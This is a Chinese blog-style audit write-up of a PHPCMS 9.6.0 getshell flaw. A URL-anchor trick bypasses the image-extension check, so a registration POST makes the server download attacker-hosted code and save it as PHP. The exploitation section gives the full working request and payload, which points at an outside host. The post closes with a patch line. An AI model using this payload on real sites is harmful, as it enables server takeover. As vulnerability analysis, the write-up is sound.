0x01前言

这个漏洞出来也有一段时间了,成天不知道瞎忙些什么,一直也没静下心来研究一下。。。自己水平也是菜,一直玩人家反复玩了不知道多少遍的东西。只能多学点挖洞姿势,希望自己以后也能挖到一个0day(有生之年系列。。。。)

0x02漏洞分析

漏洞出现在/phpcms/libs/classes/attachment.class.php中的download函数中,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
   function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}

简单分析一下函数的功能,函数形参$value获取到是远程文件的url,也是我们构造poc的地方。这段正则检测远程文件后缀名的合法性(gif|jpg|jpeg|bmp|png为合法),这里只是检测url的最后,所以我们可以用url有锚点(#)的特性来绕过。如果觉得难懂就拿出来输出一下匹配结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$ext = 'jpg';
$string = 'src=http://192.168.31.131/test.txt?.php#.jpg';//poc
preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches);
var_dump($matches);
?>

array(5) {
[0]=>
array(1) {
[0]=>
string(44) "src=http://192.168.31.131/test.txt?.php#.jpg"
}
[1]=>
array(1) {
[0]=>
string(3) "src"
}
[2]=>
array(1) {
[0]=>
string(0) ""
}
[3]=>
array(1) {
[0]=>
string(40) "http://192.168.31.131/test.txt?.php#.jpg"
}
[4]=>
array(1) {
[0]=>
string(3) "jpg"
}
}

很明显我们构造的poc绕过了正则的检测,否则输出结果就位空了。继续往下走,将src的值放入fillurl函数(与download函数在同一文件)中,继续跟下去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
function fillurl($surl, $absurl, $basehref = '') {
if($basehref != '') {
$preurl = strtolower(substr($surl,0,6));
if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://')
return $surl;
else
return $basehref.'/'.$surl;
}
$i = 0;
$dstr = '';
$pstr = '';
$okurl = '';
$pathStep = 0;
$surl = trim($surl);
if($surl=='') return '';
$urls = @parse_url(SITE_URL);
$HomeUrl = $urls['host'];
$BaseUrlPath = $HomeUrl.$urls['path'];
$BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath);
$BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath);
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
if($surl[0]=='/') {
$okurl = 'http://'.$HomeUrl.'/'.$surl;
} elseif($surl[0] == '.') {
if(strlen($surl)<=2) return '';
elseif($surl[0]=='/') {
$okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2);
} else {
$urls = explode('/',$surl);
foreach($urls as $u) {
if($u=="..") $pathStep++;
else if($i<count($urls)-1) $dstr .= $urls[$i].'/';
else $dstr .= $urls[$i];
$i++;
}
$urls = explode('/', $BaseUrlPath);
if(count($urls) <= $pathStep)
return '';
else {
$pstr = 'http://';
for($i=0;$i<count($urls)-$pathStep;$i++) {
$pstr .= $urls[$i].'/';
}
$okurl = $pstr.$dstr;
}
}
} else {
$preurl = strtolower(substr($surl,0,6));
if(strlen($surl)<7)
$okurl = 'http://'.$BaseUrlPath.'/'.$surl;
elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/')
$okurl = $surl;
else
$okurl = 'http://'.$BaseUrlPath.'/'.$surl;
}
$preurl = strtolower(substr($okurl,0,6));
if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') {
return $okurl;
} else {
$okurl = preg_replace('/^(http:\/\/)/i','',$okurl);
$okurl = preg_replace('/\/{1,}/i','/',$okurl);
return 'http://'.$okurl;
}
}

虽然这个函数写了一大坨,但是功能只有一个,就是把url的锚点去掉。回到download函数,此时取到的$remotefileurl的值为array(‘http://192.168.31.131/test.txt?.php#.jpg' => ‘http://192.168.31.131/test.txt?.php'),然后经过了fileext函数:

1
2
3
function fileext($filename) {
return strtolower(trim(substr(strrchr($filename, '.'), 1, 10)));
}

这里要说一说strrchr函数,这个php内置函数是查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符,便于理解还是贴出测试代码:

1
2
3
4
5
6
7
8
9
<?php
$filename = 'text.txt?.php';
echo strrchr($filename, '.') ."\n";
$ext = substr(strrchr($filename, '.'), 1, 10);
echo $ext;
?>

.php
php

将后缀名取出之后没有做任何检测,那后面呢?我们继续向下看。将后缀名传入getname函数:

1
2
3
function getname($fileext){
return date('Ymdhis').rand(100, 999).'.'.$fileext;
}

直接拼接后缀名,依然没有任何过滤。。。下面就直接下载文件并重命名,此时我们放在远程主机上的txt文件就被保存为了php文件,导致getshell。这里对url处理不当,以及前面一次过滤就以为万事大吉导致这个漏洞的产生。

找到了漏洞存在的地方,下面就要寻找一个触发漏洞的地方。
全局搜索一下,发现调用download函数的地方有不少:
QQ截图20170423222512.jpg

这里以caches/caches_model/caches_data/member_input.class.php为例:

1
2
3
4
5
6
7
8
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}

可以看到没有对$value做任何过滤,那么editor函数又在哪里被调用了呢?看大牛的paper说是动态调用的。。。。(这不就超出我的能力范围了嘛。。),调用的地方在同文件的get函数里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field]['name'];
$minlength = $this->fields[$field]['minlength'];
$maxlength = $this->fields[$field]['maxlength'];
$pattern = $this->fields[$field]['pattern'];
$errortips = $this->fields[$field]['errortips'];
if(empty($errortips)) $errortips = "$name 不符合要求!";
$length = empty($value) ? 0 : strlen($value);
if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name 不得超过 $maxlength 个字符!");
} else {
str_cut($value, $maxlength);
}
if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

$info[$field] = $value;
}
}
return $info;
}

先对 $data  先做了 trim  去除两头空白字符的处理。
if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
然后如果传入的字段在黑名单里面,则不能继续执行,所以我们需要
caches/caches_model/caches_data/model_field_1.cache.php文件里面找到合适的field 名。
然后使用safe_replace函数来处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

没啥影响,继续向下看:

1
2
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

我们要找的 field 的 formtype 值必须是 editor,先跟一下fields变量

1
2
3
4
5
6
7
8
9
var $modelid;
var $fields;
var $data;

function __construct($modelid) {
......
$this->fields = getcache('model_field_'.$modelid,'model');
......
}

继续跟到getcache函数:

1
2
3
4
5
6
7
8
9
10
11
12
function getcache($name, $filepath='', $type='file', $config='') {
if(!preg_match("/^[a-zA-Z0-9_-]+$/", $name)) return false;
if($filepath!="" && !preg_match("/^[a-zA-Z0-9_-]+$/", $filepath)) return false;
pc_base::load_sys_class('cache_factory','',0);
if($config) {
$cacheconfig = pc_base::load_config('cache');
$cache = cache_factory::get_instance($cacheconfig)->get_cache($config);
} else {
$cache = cache_factory::get_instance()->get_cache($type);
}
return $cache->get($name, '', '', $filepath);
}

就是读取的caches/caches_model/caches_data/model_field_{$modelid}.cache.php文件,$modelid是我们可以控制的(后面会提到),正好在caches/caches_model/caches_data/model_field_1.cache.php文件里面找到合适的 field 字段——content

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
......
'content' =>
array (
'fieldid' => '8',
'modelid' => '1',
'siteid' => '1',
'field' => 'content',
'name' => '内容',
'tips' => '<div class="content_attr"><label><input name="add_introduce" type="checkbox" value="1" checked>是否截取内容</label><input type="text" name="introcude_length" value="200" size="3">字符至内容摘要
<label><input type=\'checkbox\' name=\'auto_thumb\' value="1" checked>是否获取内容第</label><input type="text" name="auto_thumb_no" value="1" size="2" class="">张图片作为标题图片
</div>',
'css' => '',
'minlength' => '1',
'maxlength' => '999999',
'pattern' => '',
'errortips' => '内容不能为空',
'formtype' => 'editor',
......

因为这个文件是 cache 文件,根据其命名规范,找其对应的 module 文件就好了,对应的目录为: /phpcms/modules/member/ ,我们重点关注哪个文件中的方法中用了 $member_input‐>get  方法,并且这个方法可以在前台调用。
![]()

这三处看了一下只有/phpcms/modules/member/index.php  中的 register 方法比较适合利用,关键代码如下:

1
2
3
4
5
6
7
8
//附表信息验证 通过模型获取会员信息
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}

$_POST[‘info’]经过new_html_special_chars函数,将文本转化为html实体

1
2
3
4
5
6
7
8
9
function new_html_special_chars($string) {
$encoding = 'utf-8';
if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
if(!is_array($string))
return htmlspecialchars($string,ENT_QUOTES,$encoding);
foreach($string as $key => $val)
$string[$key] = new_html_special_chars($val);
return $string;
}

还记得这个modelid吗?在member_input.class.php中可以通过这个变量获取到我们想要的field值,而现在我们发现,这个变量是可控的,是不是很开心?

1
2
//仍然在register方法中
$userinfo['modelid'] = isset($_POST['modelid']) ? intval($_POST['modelid']) : 10;

经过这么久的分析,终于到了最后一击。结合我们上面的一系列分析,只要 $_POST[‘info’]  中的 content  字段的值有 src=http://10.10.10.1/test.txt?.php#.jpg 这个字符串或者把 src  替换成 href  就能触发漏洞了。

最后再啰嗦啰嗦,总体上分析一下这个src=http://10.10.10.1/test.txt?.php#.jpgpayload:
1. 取出src的值,并且验证后缀名的合法性,利用#.jpg绕过
2. 去除锚点,src变为http://127.0.0.1/test.txt?.php
3. 获取远程文件后缀名,由于使用了strrchr函数,导致取得的后缀名为php
4. 直接copy远程文件,并重命名,shell已经写入目标主机中
ps.关于test.txt?.php为什么是这样,上两个图应该就明白了
QQ截图20170423230642.jpg

QQ截图20170423230706.jpg

0x03漏洞利用

忙活了这么半天就为了这一刻啊~
首先进入注册页面 /index.php?m=member&c=index&a=register&siteid=1
填写注册信息后抓包
QQ截图20170423231203.jpg

参考这个可以构造info[content]参数
QQ截图20170423231500.jpg

但是像这样提交是会报模块中没有birthday字段错误的,那去掉就好了~
最终利用方式如下

1
2
url: /index.php?m=member&c=index&a=register&siteid=1 
post数据:siteid=1&modelid=11&username=abcd&password=123456&email=abcd@qq.com&info[content]=src=http://10.10.10.1/test.txt?.php#.jpg&dosubmit=1&protocol=

QQ截图20170422225432.jpg

QQ截图20170423234531.jpg

0x04漏洞修复

  1. 在获取后缀名的时候再次验证后缀名的合法性
    在 /phpcms/libs/classes/attachment.class.php 的166行后加上一行代码检查:
    if(!preg_match("/($ext)/i", $filename)) continue;
  2. 下载9.6.1版。。。。。。

0x05总结

这篇文章写得很长,看起来可能有些啰嗦,我只是想把我的审计过程详细的记录下来。这次审计学到了很多东西,像函数的动态调用找到漏洞点之后再去寻找触发点等,都是之前自己小打小闹的时候没有遇到过的。总而言之,水平有待提高啊。。。